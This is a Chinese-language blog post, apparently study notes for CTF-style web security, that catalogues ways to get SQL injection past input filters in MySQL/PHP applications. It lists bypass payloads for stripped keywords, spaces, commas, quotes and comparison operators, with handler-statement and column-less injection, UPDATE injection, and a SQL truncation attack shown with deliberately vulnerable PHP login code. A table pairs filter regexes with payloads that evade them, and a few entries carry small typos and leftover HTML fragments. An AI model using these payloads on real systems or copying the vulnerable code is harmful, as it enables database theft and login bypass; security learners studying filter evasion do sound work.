0%

sql注入过滤问题

今天总结一下sql注入过程中目前阶段碰到的主要过滤问题。

0x00 基本问题

sql注入过程中,为了防止注入,代码中一般会进行输入字符的过滤或拦截。其中过滤指的是输入的内容被删除or替换成了别的字符,拦截指的是检测到指定内容存在后,直接返回错误,不再进行后续的操作。

0x01 and/or

1.尝试双写or大小写绕过

2.运算符代替:&&,||

3.^运算符,例如:?id=1^(1=0) (1^0=1,故返回id=1的数据)

4.拼接=运算符,例如:?id=1=(1=1) (1=1为真,故返回id=true即id=1的数据(true=1))

0x02 空格

1.注释/**/代替

2.and/or后面可以加偶数个!或~可以替代空格,也可以混合使用

3.%09, %0a, %0b, %0c, %0d, %a0等部分不可见字符绕过

4.巧用括号

0x03 括号

使用order by进行盲注,例如:

1
select * from users where id=1 union select 1,2,{'1'} order by 3 limit 1;

通过修改大括号中的值,即可进行指定字符串与目标未知字符串的比较,如果大于则位置字符串排在前,如果小于则指定字符串排在前。通过limit来控制显示问题。由此可通过编写脚本进行注入。

0x04 逗号

1.盲注

2.使用join语句。例如:

1
union select * from (select 1)a join (select 2)b join (select 3)

对于某些字符串处理函数,例如substr,可以通过substr(str from pos for len)的方法以避免使用括号,limit 0,1 可以通过limit 1 offset 1代替。

0x05 引号

1.考虑宽字节注入(存在编码问题时)

2.引号逃逸(当存在两个或以上数据输入时,通过\可以转义一个单引号,随后在下一个输入框or字段中写入注入代码,最后添加注释符,这时可巧妙的避开引号闭合问题)

0x06 注释

1.巧妙闭合单引号,例如:

1
2
select * from users where id='$id';
注入代码:?id=1' union select 1,2,'3

0x07 数字

代替字符 代替字符 代替字符
false、!pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
true、!(!pi()) 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi());~~pi() 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
floor(version()) //注意版本 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T

0x08 等于号,大于号,小于号

等于号可以通过like绕过,大于号小于号主要使用greatest函数,strcmp函数,between and操作符代替。

0x09 常见函数/符号总结

注释符
单行注释 单行注释 单行注释 多行(内联)注释
# -- x //x为任意字符 ;%00 /*任意内容*/
常用运算符
运算符 说明 运算符 说明
&& 与,同and。 \ \ 或,同or。
! 非,同not。 ~ 一元比特反转。
^ 异或,同xor。 + 加,可替代空格,如select+user()
系统信息函数
函数 说明
USER() 获取当前操作句柄的用户名,同SESSION_USER()、CURRENT_USER(),有时也用SYSTEM_USER()。
DATABASE() 获取当前选择的数据库名,同SCHEMA()。
VERSION() 获取当前版本信息。
进制转换
函数 说明
ORD(str) 返回字符串第一个字符的ASCII值。
OCT(N) 以字符串形式返回 N 的八进制数,N 是一个BIGINT 型数值,作用相当于CONV(N,10,8)
HEX(N_S) 参数为字符串时,返回 N_or_S 的16进制字符串形式,为数字时,返回其16进制数形式。
UNHEX(str) HEX(str) 的逆向函数。将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符。
BIN(N) 返回十进制数值 N 的二进制数值的字符串表现形式。
ASCII(str) ORD(string)
CONV(N,from_base,to_base) 将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回。
CHAR(N,… [USING charset_name]) 将每一个参数 N 都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串。
字符截取/拼接
函数 说明
SUBSTR(str,N_start,N_length) 对指定字符串进行截取,为SUBSTRING的简单版。
SUBSTRING() 多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
RIGHT(str,len) 对指定字符串从最右边截取指定长度。
LEFT(str,len) 对指定字符串从最左边截取指定长度。
RPAD(str,len,padstr) str 右方补齐 len 位的字符串 padstr,返回新字符串。如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度。
LPAD(str,len,padstr) 与RPAD相似,在str左边补齐。
MID(str,pos,len) 同于 SUBSTRING(str,pos,len)
INSERT(str,pos,len,newstr) 在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串。INSERT(str,len,1,0x0)可当做截取函数。
CONCAT(str1,str2…) 函数用于将多个字符串合并为一个字符串
GROUP_CONCAT(…) 返回一个字符串结果,该结果由分组中的值连接组合而成。
MAKE_SET(bits,str1,str2,…) 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))
常见全局变量
变量 说明 变量 说明
@@VERSION 返回版本信息 @@HOSTNAME 返回安装的计算机名称
@@GLOBAL.VERSION @@VERSION @@BASEDIR 返回MYSQL绝对路径

PS:查看全部全局变量SHOW GLOBAL VARIABLES;

其他常用函数/语句
函数/语句 说明
LENGTH(str) 返回字符串的长度。
PI() 返回π的具体数值。
REGEXP “statement” 正则匹配数据,返回值为布尔值。
LIKE “statement” 匹配数据,%代表任意内容。返回值为布尔值。
RLIKE “statement” 与regexp相同。
LOCATE(substr,str,[pos]) 返回子字符串第一次出现的位置。
POSITION(substr IN str) 等同于 LOCATE()
LOWER(str) 将字符串的大写字母全部转成小写。同:LCASE(str)
UPPER(str) 将字符串的小写字母全部转成大写。同:UCASE(str)
ELT(N,str1,str2,str3,…) MAKE_SET(bit,str1,str2...)类似,根据N返回参数值。
NULLIF(expr1,expr2) 若expr1与expr2相同,则返回expr1,否则返回NULL。
CHARSET(str) 返回字符串使用的字符集。
DECODE(crypt_str,pass_str) 使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str)

0x0a handler语句代替select[mysql]

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。[故其他数据库不可用]

语法结构:

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

如:通过handler语句查询users表的内容

1
2
3
4
5
6
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

0x0b 无列名注入

在不知道列名的情况下,除了使用order by盲注外,还可以直接使用select进行盲注,即select无列名注入。例如:

1
select `1` from (select 1,2,3 union select * from users) as a;

具体可以参考V1lu0实验室招新hard_sqlCNSS 2019招新hard_sql

0x0c 其他

UPDATE注入重复字段赋值

即:UPDATA table_name set field1=new_value,field1=new_value2 [where子句],最终field1字段的内容为new_value2,可用这个特性来进行UPDATA注入。如:

UPDATE table_name set field1=new_value,field1=(select user()) [where子句]

sql约束攻击

举个例子,假设我们创建了一个数据表:

1
2
3
4
CREATE TABLE users(
username varchar(25),
password varchar(25)
)

这时候我们进行登录注册的相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 注册
<?php
$conn = mysqli_connect("127.0.0.1:3306", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql1 = "select * from users where username = '$username'";
$rs = mysqli_query($conn,$sql1);
if($rs->fetch_row()){
die('账号已注册');
}else{
$sql2 = "insert into users values('$username','$password')";
mysqli_query($conn,$sql2);
die('注册成功');
}
?>

// 登录
<?php
$conn = mysqli_connect("127.0.0.1:3306", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
$_SESSION['username']=$password;
}else{
echo "fail";
}
?>

这里没有编码问题,也进行了转移操作,由于存在长度限制,故可尝试sql约束攻击。注册名为admin 1的用户名,密码自定,随后使用admin登录,密码就是刚刚的密码,发现登录成功。(原理,注册时select的时候,超长度的字段不会截取,故检查出未注册,而insert的时候会截取前25个字符,故再进行登录的时候’admin’=’admin ‘,从而登录成功)

0x0c 常见过滤绕过方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
过滤关键字    and or
php代码 preg_match('/(and|or)/i',$id)
会过滤的攻击代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1

过滤关键字 and or union
php代码 preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'

过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤关键字 and, or, union, where, limit
php代码 preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤关键字 and, or, union, where, limit, group by
php代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤关键字 and, or, union, where, limit, group by, select
php代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && substr(user,1,1) = 'a'

过滤关键字 and, or, union, where, limit, group by, select, '
php代码 preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

过滤关键字 and, or, union, where, limit, group by, select, ', hex
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式 1 && lpad(user,7,1)

过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr, 空格
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码 1 && lpad(user,7,1)/td>
绕过方式 1%0b||%0blpad(user,7,1)

过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 || (select user from users where user_id = 1) = 'admin'
绕过方式 1 || (select user from users limit 1) = 'admin'

节选自:http://byd.dropsec.xyz/2016/08/01/SQL-Injection%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/